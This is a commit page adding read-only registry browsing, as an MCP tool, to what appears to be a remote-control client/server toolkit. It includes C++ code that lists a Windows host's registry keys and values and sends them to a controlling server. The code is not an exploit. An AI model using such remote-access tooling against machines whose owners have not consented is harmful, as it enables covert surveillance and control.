Add a read-only list_registry MCP tool for querying a remote Windows host's registry. An empty path returns the five root keys; a path such as HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and values (name, type, and formatted data). Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer mis-reported as REG_SZ. The registry manager now always sends both the TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is empty), making the two-packet reply deterministic for the server. Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND, then PATH plus KEY) with per-host pending state, parse the fixed-width wire format with bounds checks, format value data for JSON, and guard registry paths against exceeding MAX_PATH to protect the client stack. Co-Authored-By: deepseek-v4-pro
83 lines
2.5 KiB
C++
83 lines
2.5 KiB
C++
// RegisterManager.cpp: implementation of the CRegisterManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#include "stdafx.h"
|
||
#include "RegisterManager.h"
|
||
#include "Common.h"
|
||
#include <IOSTREAM>
|
||
|
||
#if ENABLE_REGISTRY
|
||
|
||
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
|
||
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
|
||
struct REGMSG {
|
||
int count; //名字个数
|
||
DWORD size; //名字大小
|
||
DWORD valsize; //值大小
|
||
};
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||
{
|
||
BYTE bToken=TOKEN_REGEDIT;
|
||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||
}
|
||
|
||
CRegisterManager::~CRegisterManager()
|
||
{
|
||
Mprintf("CRegisterManager 析构\n");
|
||
}
|
||
|
||
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
switch (szBuffer[0]) {
|
||
case COMMAND_REG_FIND: //查数据
|
||
if(ulLength>3) {
|
||
Find(szBuffer[1],(char*)(szBuffer+2));
|
||
} else {
|
||
Find(szBuffer[1],NULL); //Root数据
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
|
||
VOID CRegisterManager::Find(char bToken, char *szPath)
|
||
{
|
||
RegisterOperation Opt(bToken);
|
||
if(szPath!=NULL) {
|
||
Opt.SetPath(szPath);
|
||
}
|
||
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
|
||
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
|
||
char *szBuffer= Opt.FindPath();
|
||
if(szBuffer!=NULL) {
|
||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||
//目录下的目录
|
||
LocalFree(szBuffer);
|
||
} else {
|
||
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||
empty[0] = TOKEN_REG_PATH;
|
||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||
}
|
||
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
|
||
szBuffer = Opt.FindKey();
|
||
if(szBuffer!=NULL) {
|
||
//目录下的文件
|
||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||
LocalFree(szBuffer);
|
||
} else {
|
||
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||
empty[0] = TOKEN_REG_KEY;
|
||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||
}
|
||
}
|
||
|
||
#endif
|